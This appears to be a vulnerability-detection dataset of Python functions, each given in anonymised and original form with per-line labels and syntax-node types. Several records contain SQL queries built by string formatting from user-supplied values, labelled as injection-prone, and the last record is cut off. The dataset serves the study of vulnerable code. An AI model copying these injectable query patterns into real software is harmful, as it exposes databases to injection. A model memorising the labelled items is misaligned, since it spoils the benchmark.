[ "FunctionDef'", "Docstring", "Condition", "Expr'", "Expr'" ]
[ "def FUNC_27(self):...\n", "\"\"\"docstring\"\"\"\n", "if not self.exists and FUNC_0(self.file):\n" ]
[ "def check_broken_symlink(self):...\n", "\"\"\"docstring\"\"\"\n", "if not self.exists and lstat(self.file):\n" ]
[ 0, 0, 7 ]
[ "FunctionDef'", "Docstring", "Condition" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "return self._name\n" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "return self._name\n" ]
[ 0, 0, 0 ]
[ "Condition", "Docstring", "Return'" ]
[ "@login_required()...\n", "VAR_5 = {}\n", "VAR_6, VAR_7 = FUNC_5(**kwargs)\n", "VAR_5['concept'] = VAR_6\n", "VAR_4 = VAR_6.transaction\n", "VAR_5['transaction'] = VAR_4\n", "return render(VAR_0, 'transactions/concept_detail.html', VAR_5)\n" ]
[ "@login_required()...\n", "extra_context = {}\n", "concept, concept_form = get_concept_and_form_from_kwargs(**kwargs)\n", "extra_context['concept'] = concept\n", "transaction = concept.transaction\n", "extra_context['transaction'] = transaction\n", "return render(request, 'transactions/concept_detail.html', extra_context)\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_3():...\n", "\"\"\"docstring\"\"\"\n", "VAR_7 = {}\n", "for arg in request.args:\n", "VAR_8 = re.findall('_oc_(.*)', arg)\n", "return VAR_7\n", "if VAR_8:\n", "VAR_7[VAR_8[0]] = request.args.get(arg), request.args.get('_od_' + VAR_8[0])\n" ]
[ "def get_order_args():...\n", "\"\"\"docstring\"\"\"\n", "orders = {}\n", "for arg in request.args:\n", "re_match = re.findall('_oc_(.*)', arg)\n", "return orders\n", "if re_match:\n", "orders[re_match[0]] = request.args.get(arg), request.args.get('_od_' +\n re_match[0])\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 4 ]
[ "FunctionDef'", "Docstring", "Assign'", "For", "Assign'", "Return'", "Condition", "Assign'" ]
[ "def FUNC_23(VAR_31, VAR_32, VAR_3, VAR_33, VAR_34=apply_wildcards, VAR_35=None...\n", "for VAR_10, VAR_9 in VAR_32.allitems():\n", "VAR_48 = len(VAR_31)\n", "VAR_49 = True\n", "if callable(VAR_9):\n", "if not_iterable(VAR_9):\n", "VAR_9 = VAR_9(VAR_33)\n", "if not_iterable(VAR_9):\n", "VAR_9 = [VAR_9]\n", "for item_ in VAR_9:\n", "VAR_9 = [VAR_9]\n", "for item_ in VAR_9:\n", "VAR_49 = False\n", "VAR_53 = VAR_34(item_, VAR_3)\n", "if VAR_10:\n", "VAR_49 = False\n", "if not isinstance(item_, str):\n", "VAR_31.append(VAR_53)\n", "VAR_31.set_name(VAR_10, VAR_48, end=len(newitems) if is_iterable else None)\n", "VAR_53 = VAR_34(item_, VAR_3)\n", "if VAR_35 is not None:\n", "VAR_31.append(VAR_53)\n", "VAR_35[VAR_53] = item_\n", "if VAR_35 is not None:\n", "VAR_35[VAR_53] = item_\n" ]
[ "def _apply_wildcards(newitems, olditems, wildcards, wildcards_obj,...\n", "for name, item in olditems.allitems():\n", "start = len(newitems)\n", "is_iterable = True\n", "if callable(item):\n", "if not_iterable(item):\n", "item = item(wildcards_obj)\n", "if not_iterable(item):\n", "item = [item]\n", "for item_ in item:\n", "item = [item]\n", "for item_ in item:\n", "is_iterable = False\n", "concrete = concretize(item_, wildcards)\n", "if name:\n", "is_iterable = False\n", "if not isinstance(item_, str):\n", "newitems.append(concrete)\n", "newitems.set_name(name, start, end=len(newitems) if is_iterable else None)\n", "concrete = concretize(item_, wildcards)\n", "if ruleio is not None:\n", "newitems.append(concrete)\n", "ruleio[concrete] = item_\n", "if ruleio is not None:\n", "ruleio[concrete] = item_\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "For", "Assign'", "Assign'", "Condition", "Condition", "Assign'", "Condition", "Assign'", "For", "Assign'", "For", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Assign'", "Condition", "Assign'" ]
[ "def FUNC_20(self):...\n", "VAR_16 = self.mox.CreateMock(paramiko.SSHClient)\n", "VAR_12 = self.mox.CreateMock(paramiko.Channel)\n", "VAR_17 = self.mox.CreateMock(paramiko.Transport)\n", "self.mox.StubOutWithMock(self.driver, '_get_output')\n", "self.mox.StubOutWithMock(VAR_16, 'get_transport')\n", "self.mox.StubOutWithMock(VAR_12, 'invoke_shell')\n", "VAR_15 = ['Error: test run', '% Error']\n", "VAR_16.get_transport().AndReturn(VAR_17)\n", "VAR_17.open_session().AndReturn(VAR_12)\n", "VAR_12.invoke_shell()\n", "self.driver._get_output(VAR_12).AndReturn(VAR_15)\n", "VAR_18 = 'this is dummy command'\n", "VAR_12.send('stty columns 255' + '\\r')\n", "self.driver._get_output(VAR_12).AndReturn(VAR_15)\n", "VAR_12.send(VAR_18 + '\\r')\n", "self.driver._get_output(VAR_12).AndReturn(VAR_15)\n", "VAR_12.close()\n", "self.mox.ReplayAll()\n", "self.assertRaises(processutils.ProcessExecutionError, self.driver.\n _ssh_execute, VAR_16, VAR_18)\n" ]
[ "def test_ssh_execute_error(self):...\n", "ssh = self.mox.CreateMock(paramiko.SSHClient)\n", "chan = self.mox.CreateMock(paramiko.Channel)\n", "transport = self.mox.CreateMock(paramiko.Transport)\n", "self.mox.StubOutWithMock(self.driver, '_get_output')\n", "self.mox.StubOutWithMock(ssh, 'get_transport')\n", "self.mox.StubOutWithMock(chan, 'invoke_shell')\n", "expected_output = ['Error: test run', '% Error']\n", "ssh.get_transport().AndReturn(transport)\n", "transport.open_session().AndReturn(chan)\n", "chan.invoke_shell()\n", "self.driver._get_output(chan).AndReturn(expected_output)\n", "cmd = 'this is dummy command'\n", "chan.send('stty columns 255' + '\\r')\n", "self.driver._get_output(chan).AndReturn(expected_output)\n", "chan.send(cmd + '\\r')\n", "self.driver._get_output(chan).AndReturn(expected_output)\n", "chan.close()\n", "self.mox.ReplayAll()\n", "self.assertRaises(processutils.ProcessExecutionError, self.driver.\n _ssh_execute, ssh, cmd)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "import json\n", "import os\n", "import pathlib\n", "import re\n", "import shlex\n", "import subprocess\n", "import sys\n", "from collections import OrderedDict\n", "from operator import itemgetter\n", "import click\n", "VAR_0 = {'syscall_header_file': '/usr/include/bits/syscall.h',\n 'cache_file_32bit': '{}/.cache/syscall_number/32bit.json'.format(os.\n environ['HOME']), 'cache_file_64bit':\n '{}/.cache/syscall_number/64bit.json'.format(os.environ['HOME'])}\n", "VAR_1 = '32'\n", "VAR_2 = '64'\n", "def FUNC_0(VAR_3):...\n", "return pathlib.Path(VAR_3).read_text()\n", "def FUNC_1(VAR_3, VAR_4):...\n", "return pathlib.Path(VAR_3).write_text(VAR_4)\n", "def FUNC_2():...\n", "VAR_9 = []\n", "VAR_14 = re.compile('^.+SYS_(?P<syscall_name>[^ ]+)')\n", "VAR_25 = FUNC_0(VAR_0['syscall_header_file'])\n", "for line in VAR_25.split('\\n'):\n", "VAR_24 = VAR_14.match(line)\n", "return VAR_9\n", "if VAR_24:\n", "VAR_9.append(VAR_24.group('syscall_name'))\n" ]
[ "import json\n", "import os\n", "import pathlib\n", "import re\n", "import shlex\n", "import subprocess\n", "import sys\n", "from collections import OrderedDict\n", "from operator import itemgetter\n", "import click\n", "CONFIG = {'syscall_header_file': '/usr/include/bits/syscall.h',\n 'cache_file_32bit': '{}/.cache/syscall_number/32bit.json'.format(os.\n environ['HOME']), 'cache_file_64bit':\n '{}/.cache/syscall_number/64bit.json'.format(os.environ['HOME'])}\n", "BITNESS_32 = '32'\n", "BITNESS_64 = '64'\n", "def read_file_content(file_path):...\n", "return pathlib.Path(file_path).read_text()\n", "def write_file_content(file_path, data):...\n", "return pathlib.Path(file_path).write_text(data)\n", "def parse_syscall_names():...\n", "syscall_names = []\n", "syscall_name_regex = re.compile('^.+SYS_(?P<syscall_name>[^ ]+)')\n", "content = read_file_content(CONFIG['syscall_header_file'])\n", "for line in content.split('\\n'):\n", "match = syscall_name_regex.match(line)\n", "return syscall_names\n", "if match:\n", "syscall_names.append(match.group('syscall_name'))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Import'", "Import'", "Import'", "Import'", "Import'", "Import'", "Import'", "ImportFrom'", "ImportFrom'", "Import'", "Assign'", "Assign'", "Assign'", "FunctionDef'", "Return'", "FunctionDef'", "Return'", "FunctionDef'", "Assign'", "Assign'", "Assign'", "For", "Assign'", "Return'", "Condition", "Expr'" ]
[ "def FUNC_44(self):...\n", "return self._names\n" ]
[ "def keys(self):...\n", "return self._names\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_3(self, *VAR_7, **VAR_8):...\n", "VAR_14 = self.cleaned_data['user_ip']\n", "VAR_2 = self.cleaned_data['comment']\n", "VAR_15 = super(CLASS_0, self).save(*VAR_7, **kwargs)\n", "VAR_16 = getattr(self, 'editor', None)\n", "VAR_17 = getattr(self, 'group', None)\n", "if self.is_new:\n", "VAR_15.creator_ip = VAR_14\n", "VAR_18 = VAR_15.new_revision(self.old_content, self.old_title, self.\n old_markup, VAR_2, VAR_14, VAR_16)\n", "if VAR_16 is not None:\n", "return VAR_15, VAR_18\n", "VAR_15.creator = VAR_16\n", "VAR_15.save(*VAR_7, **kwargs)\n", "VAR_15.group = VAR_17\n" ]
[ "def save(self, *args, **kwargs):...\n", "editor_ip = self.cleaned_data['user_ip']\n", "comment = self.cleaned_data['comment']\n", "article = super(ArticleForm, self).save(*args, **kwargs)\n", "editor = getattr(self, 'editor', None)\n", "group = getattr(self, 'group', None)\n", "if self.is_new:\n", "article.creator_ip = editor_ip\n", "changeset = article.new_revision(self.old_content, self.old_title, self.\n old_markup, comment, editor_ip, editor)\n", "if editor is not None:\n", "return article, changeset\n", "article.creator = editor\n", "article.save(*args, **kwargs)\n", "article.group = group\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Return'", "Assign'", "Expr'", "Assign'" ]
[ "def FUNC_6(self, VAR_38):...\n", "if not VAR_38:\n", "VAR_101.errors.add(errors.NO_TITLE)\n", "if len(VAR_38) > 100:\n", "VAR_101.errors.add(errors.TITLE_TOO_LONG)\n", "return VAR_38\n" ]
[ "def run(self, title):...\n", "if not title:\n", "c.errors.add(errors.NO_TITLE)\n", "if len(title) > 100:\n", "c.errors.add(errors.TITLE_TOO_LONG)\n", "return title\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'", "Condition", "Expr'", "Return'" ]
[ "def FUNC_1(self):...\n", "CLASS_4.ScenarioMaker().given_a_public_domain('http://pachatary.com'\n ).given_a_dynamic_link('http://dynamic.link/link={}&other=param'\n ).when_call_root_redirect().then_response_should_be_a_redirect_to(\n 'http://dynamic.link/link=http://pachatary.com/&other=param')\n" ]
[ "def test_when_there_is_a_dynamic_link_wraps_public_domain_url(self):...\n", "RedirectRootTestCase.ScenarioMaker().given_a_public_domain(\n 'http://pachatary.com').given_a_dynamic_link(\n 'http://dynamic.link/link={}&other=param').when_call_root_redirect(\n ).then_response_should_be_a_redirect_to(\n 'http://dynamic.link/link=http://pachatary.com/&other=param')\n" ]
[ 0, 6 ]
[ "FunctionDef'", "Expr'" ]
[ "import uuid\n", "def FUNC_0(VAR_0, VAR_1, VAR_2, VAR_3):...\n", "VAR_8 = VAR_3.connect()\n", "VAR_9 = VAR_8.cursor()\n", "VAR_10 = \"SELECT userId FROM Users WHERE userEmail = '{0}'\".format(VAR_2)\n", "VAR_9.execute(VAR_10)\n", "VAR_11 = VAR_9.fetchone()\n", "if VAR_11 is None:\n", "return False, None\n", "VAR_5 = str(uuid.uuid4())\n", "if VAR_1 == '':\n", "VAR_1 = '2000-01-01'\n", "VAR_14 = (\n \"INSERT INTO Calendars (calendarId, name, day, userId) VALUES('{0}','{1}', '{2}', {3})\"\n .format(VAR_5, VAR_0, VAR_1, VAR_11[0]))\n", "VAR_9.execute(VAR_14)\n", "VAR_8.commit()\n", "VAR_14 = 'string'.format(VAR_11[0], VAR_5)\n", "VAR_9.execute(VAR_14)\n", "VAR_8.commit()\n", "return True, VAR_5\n" ]
[ "import uuid\n", "def createCalendar(calendarName, day, username, sqlHandle):...\n", "conn = sqlHandle.connect()\n", "cursor = conn.cursor()\n", "userCheckQuery = \"SELECT userId FROM Users WHERE userEmail = '{0}'\".format(\n username)\n", "cursor.execute(userCheckQuery)\n", "userResult = cursor.fetchone()\n", "if userResult is None:\n", "return False, None\n", "calendarId = str(uuid.uuid4())\n", "if day == '':\n", "day = '2000-01-01'\n", "queryString = (\n \"INSERT INTO Calendars (calendarId, name, day, userId) VALUES('{0}','{1}', '{2}', {3})\"\n .format(calendarId, calendarName, day, userResult[0]))\n", "cursor.execute(queryString)\n", "conn.commit()\n", "queryString = (\n \"\"\"INSERT INTO TimeSlots (userId, calendarId, zero, one, two, three, four, five, six, seven, eight, nine,\n ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen, twenty, twentyone,\n twentytwo, twentythree) VALUES({0},'{1}','','','','','','','','','','','','','','','','','','','','','','',\n '','')\"\"\"\n .format(userResult[0], calendarId))\n", "cursor.execute(queryString)\n", "conn.commit()\n", "return True, calendarId\n" ]
[ 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 4, 0, 0, 0 ]
[ "Import'", "FunctionDef'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Condition", "Return'", "Assign'", "Condition", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Return'" ]
[ "def FUNC_11(self, VAR_9, VAR_10=None):...\n", "if isinstance(VAR_9, str) or callable(VAR_9):\n", "self.params.append(VAR_9)\n", "VAR_48 = len(self.params)\n", "if VAR_10:\n", "for VAR_51 in VAR_9:\n", "self.params.add_name(VAR_10)\n", "self._set_params_item(VAR_51)\n", "if VAR_10:\n", "self.params.set_name(VAR_10, VAR_48, end=len(self.params))\n" ]
[ "def _set_params_item(self, item, name=None):...\n", "if isinstance(item, str) or callable(item):\n", "self.params.append(item)\n", "start = len(self.params)\n", "if name:\n", "for i in item:\n", "self.params.add_name(name)\n", "self._set_params_item(i)\n", "if name:\n", "self.params.set_name(name, start, end=len(self.params))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'", "Assign'", "Condition", "For", "Expr'", "Expr'", "Condition", "Expr'" ]
[ "@decorators.require_cronjob...\n", "\"\"\"docstring\"\"\"\n", "VAR_20 = 'https://%s.appspot.com' % app_identity.get_application_id()\n", "VAR_21 = VAR_20 + '/restricted/ereporter2/request/'\n", "VAR_22 = VAR_20 + '/restricted/ereporter2/report'\n", "VAR_23 = self.request.get('recipients', acl.get_ereporter2_recipients())\n", "VAR_24 = ui._generate_and_email_report(utils.get_module_version_list(None, \n False), VAR_23, VAR_21, VAR_22, {})\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "if VAR_24:\n", "self.response.write('Success.')\n", "self.response.write('Failed.')\n" ]
[ "@decorators.require_cronjob...\n", "\"\"\"docstring\"\"\"\n", "host_url = 'https://%s.appspot.com' % app_identity.get_application_id()\n", "request_id_url = host_url + '/restricted/ereporter2/request/'\n", "report_url = host_url + '/restricted/ereporter2/report'\n", "recipients = self.request.get('recipients', acl.get_ereporter2_recipients())\n", "result = ui._generate_and_email_report(utils.get_module_version_list(None, \n False), recipients, request_id_url, report_url, {})\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "if result:\n", "self.response.write('Success.')\n", "self.response.write('Failed.')\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Expr'", "Expr'" ]
[ "def FUNC_1(self, VAR_4):...\n", "VAR_4 = u\"'{0}'\".format(VAR_4)\n", "return VAR_4\n" ]
[ "def insert_format(self, value):...\n", "value = u\"'{0}'\".format(value)\n", "return value\n" ]
[ 0, 4, 0 ]
[ "FunctionDef'", "Assign'", "Return'" ]
[ "def FUNC_30(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_2 = {'SEVERITY': {'LOW': 2, 'MEDIUM': 6}, 'CONFIDENCE': {'HIGH': 8}}\n", "self.check_example('pickle_deserialize.py', VAR_2)\n" ]
[ "def test_pickle(self):...\n", "\"\"\"docstring\"\"\"\n", "expect = {'SEVERITY': {'LOW': 2, 'MEDIUM': 6}, 'CONFIDENCE': {'HIGH': 8}}\n", "self.check_example('pickle_deserialize.py', expect)\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Expr'" ]
[ "def FUNC_1(self):...\n", "VAR_3 = self.config['runtime.gallery']\n", "VAR_4 = Pager(VAR_3, self.current_page)\n", "return {'pager': VAR_4}\n" ]
[ "def get(self):...\n", "index = self.config['runtime.gallery']\n", "pager = Pager(index, self.current_page)\n", "return {'pager': pager}\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_11(self, VAR_11, VAR_12=None):...\n", "self.tree = Node(VAR_11)\n", "self.add_children(self.tree)\n" ]
[ "def build_node_tree(self, oldest_node, parent=None):...\n", "self.tree = Node(oldest_node)\n", "self.add_children(self.tree)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'" ]
[ "def FUNC_1(self, VAR_2):...\n", "\"\"\"docstring\"\"\"\n", "return eduid_init_app('testing', VAR_2)\n" ]
[ "def load_app(self, config):...\n", "\"\"\"docstring\"\"\"\n", "return eduid_init_app('testing', config)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Return'" ]
[ "import psycopg2\n", "VAR_0 = 'news'\n", "def FUNC_0(VAR_1):...\n", "\"\"\"docstring\"\"\"\n", "VAR_2 = 'string' % VAR_1\n", "VAR_3 = psycopg2.connect(database=DBNAME)\n", "VAR_4 = VAR_3.cursor()\n", "VAR_4.execute(VAR_2)\n", "VAR_5 = VAR_4.fetchall()\n", "VAR_3.close()\n", "return VAR_5\n" ]
[ "import psycopg2\n", "DBNAME = 'news'\n", "def get_top_articles(list_count):...\n", "\"\"\"docstring\"\"\"\n", "query = (\n 'select a.title, count(alv.article) as views from articles a, article_log_view alv where a.slug = alv.article group by a.title order by count(alv.article) desc limit %d;'\n % list_count)\n", "db = psycopg2.connect(database=DBNAME)\n", "c = db.cursor()\n", "c.execute(query)\n", "rows = c.fetchall()\n", "db.close()\n", "return rows\n" ]
[ 0, 0, 0, 0, 4, 0, 0, 4, 0, 0, 0 ]
[ "Import'", "Assign'", "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Expr'", "Return'" ]
[ "@staticmethod...\n", "if not VAR_1 or not VAR_6:\n", "if not VAR_5:\n", "VAR_5 = CLASS_0.get_report(VAR_1)['analysis']\n", "VAR_16 = VAR_5['behavior']['generic']\n", "VAR_17 = [z for z in VAR_16 if z['pid'] == VAR_6]\n", "if not VAR_17:\n", "VAR_17 = VAR_17[0]\n", "VAR_9 = {}\n", "for VAR_30, VAR_24 in CLASS_0.behavioral_mapping().iteritems():\n", "for VAR_7 in VAR_24:\n", "return VAR_9\n", "if VAR_7 in VAR_17['summary']:\n", "if VAR_30 not in VAR_9:\n", "VAR_9[VAR_30] = [VAR_7]\n", "VAR_9[VAR_30].append(VAR_7)\n" ]
[ "@staticmethod...\n", "if not task_id or not pid:\n", "if not report:\n", "report = AnalysisController.get_report(task_id)['analysis']\n", "behavior_generic = report['behavior']['generic']\n", "process = [z for z in behavior_generic if z['pid'] == pid]\n", "if not process:\n", "process = process[0]\n", "data = {}\n", "for category, watchers in AnalysisController.behavioral_mapping().iteritems():\n", "for watcher in watchers:\n", "return data\n", "if watcher in process['summary']:\n", "if category not in data:\n", "data[category] = [watcher]\n", "data[category].append(watcher)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Condition", "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "For", "For", "Return'", "Condition", "Condition", "Assign'", "Expr'" ]
[ "def FUNC_46(self, VAR_14):...\n", "return self.list_properties[VAR_14].columns[0]\n" ]
[ "def get_property_first_col(self, col_name):...\n", "return self.list_properties[col_name].columns[0]\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_10(self, VAR_16):...\n", "\"\"\"docstring\"\"\"\n", "VAR_11 = ['volume', 'select', VAR_16['name'], 'show']\n", "self._eql_execute(*VAR_11)\n", "if err.stdout.find('does not exist.\\n') > -1:\n", "VAR_0.debug(_('Volume %s does not exist, it may have already been deleted'),\n VAR_16['name'])\n" ]
[ "def _check_volume(self, volume):...\n", "\"\"\"docstring\"\"\"\n", "command = ['volume', 'select', volume['name'], 'show']\n", "self._eql_execute(*command)\n", "if err.stdout.find('does not exist.\\n') > -1:\n", "LOG.debug(_('Volume %s does not exist, it may have already been deleted'),\n volume['name'])\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Expr'", "Condition", "Expr'" ]
[ "def FUNC_1(self):...\n", "VAR_1 = ['DTXSID9022528', 'DTXSID1020273', 'DTXSID6026296', 'DTXSID2021781']\n", "VAR_2 = stats_by_dtxsids(VAR_1)\n", "VAR_3 = VAR_2.get(sid='DTXSID9022528')\n", "self.assertEqual(0, VAR_3['pucs_n'])\n", "self.client.login(username='Karyn', password='specialP@55word')\n", "VAR_4 = DataDocument.objects.filter(pk__in=ExtractedChemical.objects.filter\n (dsstox__sid='DTXSID9022528').values('extracted_text__data_document'))\n", "VAR_5 = VAR_4[0]\n", "VAR_6 = VAR_5.data_group.data_source\n", "VAR_7 = Product.objects.create(data_source=ds, title='Test Product', upc=\n 'Test UPC for ProductToPUC')\n", "VAR_8 = ProductDocument.objects.create(document=dd, product=p)\n", "VAR_8.save()\n", "VAR_5.refresh_from_db()\n", "VAR_9 = VAR_5.products.first().pk\n", "VAR_10 = PUC.objects.get(id=20)\n", "VAR_11 = ProductToPUC.objects.create(product=Product.objects.get(pk=pid),\n VAR_10=puc, puc_assigned_usr=User.objects.get(username='Karyn'))\n", "VAR_11.refresh_from_db()\n", "VAR_2 = stats_by_dtxsids(VAR_1)\n", "VAR_3 = VAR_2.get(sid='DTXSID9022528')\n", "self.assertEqual(1, VAR_3['pucs_n'])\n" ]
[ "def test_dtxsid_pucs_n(self):...\n", "dtxs = ['DTXSID9022528', 'DTXSID1020273', 'DTXSID6026296', 'DTXSID2021781']\n", "stats = stats_by_dtxsids(dtxs)\n", "ethylparaben_stats = stats.get(sid='DTXSID9022528')\n", "self.assertEqual(0, ethylparaben_stats['pucs_n'])\n", "self.client.login(username='Karyn', password='specialP@55word')\n", "dds = DataDocument.objects.filter(pk__in=ExtractedChemical.objects.filter(\n dsstox__sid='DTXSID9022528').values('extracted_text__data_document'))\n", "dd = dds[0]\n", "ds = dd.data_group.data_source\n", "p = Product.objects.create(data_source=ds, title='Test Product', upc=\n 'Test UPC for ProductToPUC')\n", "pd = ProductDocument.objects.create(document=dd, product=p)\n", "pd.save()\n", "dd.refresh_from_db()\n", "pid = dd.products.first().pk\n", "puc = PUC.objects.get(id=20)\n", "ppuc = ProductToPUC.objects.create(product=Product.objects.get(pk=pid), puc\n =puc, puc_assigned_usr=User.objects.get(username='Karyn'))\n", "ppuc.refresh_from_db()\n", "stats = stats_by_dtxsids(dtxs)\n", "ethylparaben_stats = stats.get(sid='DTXSID9022528')\n", "self.assertEqual(1, ethylparaben_stats['pucs_n'])\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Assign'", "Expr'" ]
[ "from osv import osv\n", "from tools.translate import _\n", "import time\n", "VAR_0 = 'pos.open.statement'\n", "VAR_1 = 'Open Statements'\n", "def FUNC_0(self, VAR_2, VAR_3, VAR_4, VAR_5):...\n", "\"\"\"docstring\"\"\"\n", "VAR_6 = []\n", "VAR_7 = self.pool.get('ir.model.data')\n", "VAR_8 = self.pool.get('res.users').browse(VAR_2, VAR_3, VAR_3).company_id.id\n", "VAR_9 = self.pool.get('account.bank.statement')\n", "VAR_10 = self.pool.get('ir.sequence')\n", "VAR_11 = self.pool.get('account.journal')\n", "VAR_2.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % VAR_3)\n", "VAR_12 = map(lambda x1: x1[0], VAR_2.fetchall())\n", "VAR_2.execute('string' % ','.join(map(lambda x: \"'\" + str(x) + \"'\", VAR_12)))\n", "VAR_13 = map(lambda x1: x1[0], VAR_2.fetchall())\n", "for journal in VAR_11.browse(VAR_2, VAR_3, VAR_13):\n", "VAR_4 = VAR_9.search(VAR_2, VAR_3, [('state', '!=', 'confirm'), ('user_id',\n '=', VAR_3), ('journal_id', '=', journal.id)])\n", "VAR_14 = self.pool.get('ir.model.data')\n", "if len(VAR_4):\n", "VAR_15 = VAR_14._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_tree')\n", "VAR_17 = ''\n", "VAR_16 = VAR_14._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_form2')\n", "if journal.sequence_id:\n", "if VAR_15:\n", "VAR_17 = VAR_10.get_id(VAR_2, VAR_3, journal.sequence_id.id)\n", "VAR_17 = VAR_10.get(VAR_2, VAR_3, 'account.bank.statement')\n", "VAR_15 = VAR_14.browse(VAR_2, VAR_3, VAR_15, VAR_5=context).res_id\n", "if VAR_16:\n", "VAR_18 = VAR_9.create(VAR_2, VAR_3, {'journal_id': journal.id, 'company_id':\n VAR_8, 'user_id': VAR_3, 'state': 'open', 'name': VAR_17,\n 'starting_details_ids': VAR_9._get_cash_close_box_lines(VAR_2, VAR_3, [])})\n", "VAR_16 = VAR_14.browse(VAR_2, VAR_3, VAR_16, VAR_5=context).res_id\n", "return {'domain': \"[('state','=','open')]\", 'name': 'Open Statement',\n 'view_type': 'form', 'view_mode': 'tree,form', 'res_model':\n 'account.bank.statement', 'views': [(VAR_15, 'tree'), (VAR_16, 'form')],\n 'type': 'ir.actions.act_window'}\n", "VAR_9.button_open(VAR_2, VAR_3, [VAR_18], VAR_5)\n" ]
[ "from osv import osv\n", "from tools.translate import _\n", "import time\n", "_name = 'pos.open.statement'\n", "_description = 'Open Statements'\n", "def open_statement(self, cr, uid, ids, context):...\n", "\"\"\"docstring\"\"\"\n", "list_statement = []\n", "mod_obj = self.pool.get('ir.model.data')\n", "company_id = self.pool.get('res.users').browse(cr, uid, uid).company_id.id\n", "statement_obj = self.pool.get('account.bank.statement')\n", "sequence_obj = self.pool.get('ir.sequence')\n", "journal_obj = self.pool.get('account.journal')\n", "cr.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % uid)\n", "j_ids = map(lambda x1: x1[0], cr.fetchall())\n", "cr.execute(\n \"\"\" select id from account_journal\n where auto_cash='True' and type='cash'\n and id in (%s)\"\"\"\n % ','.join(map(lambda x: \"'\" + str(x) + \"'\", j_ids)))\n", "journal_ids = map(lambda x1: x1[0], cr.fetchall())\n", "for journal in journal_obj.browse(cr, uid, journal_ids):\n", "ids = statement_obj.search(cr, uid, [('state', '!=', 'confirm'), ('user_id',\n '=', uid), ('journal_id', '=', journal.id)])\n", "data_obj = self.pool.get('ir.model.data')\n", "if len(ids):\n", "id2 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_tree')\n", "number = ''\n", "id3 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_form2')\n", "if journal.sequence_id:\n", "if id2:\n", "number = sequence_obj.get_id(cr, uid, journal.sequence_id.id)\n", "number = sequence_obj.get(cr, uid, 'account.bank.statement')\n", "id2 = data_obj.browse(cr, uid, id2, context=context).res_id\n", "if id3:\n", "statement_id = statement_obj.create(cr, uid, {'journal_id': journal.id,\n 'company_id': company_id, 'user_id': uid, 'state': 'open', 'name':\n number, 'starting_details_ids': statement_obj._get_cash_close_box_lines\n (cr, uid, [])})\n", "id3 = data_obj.browse(cr, uid, id3, context=context).res_id\n", "return {'domain': \"[('state','=','open')]\", 'name': 'Open Statement',\n 'view_type': 'form', 'view_mode': 'tree,form', 'res_model':\n 'account.bank.statement', 'views': [(id2, 'tree'), (id3, 'form')],\n 'type': 'ir.actions.act_window'}\n", "statement_obj.button_open(cr, uid, [statement_id], context)\n" 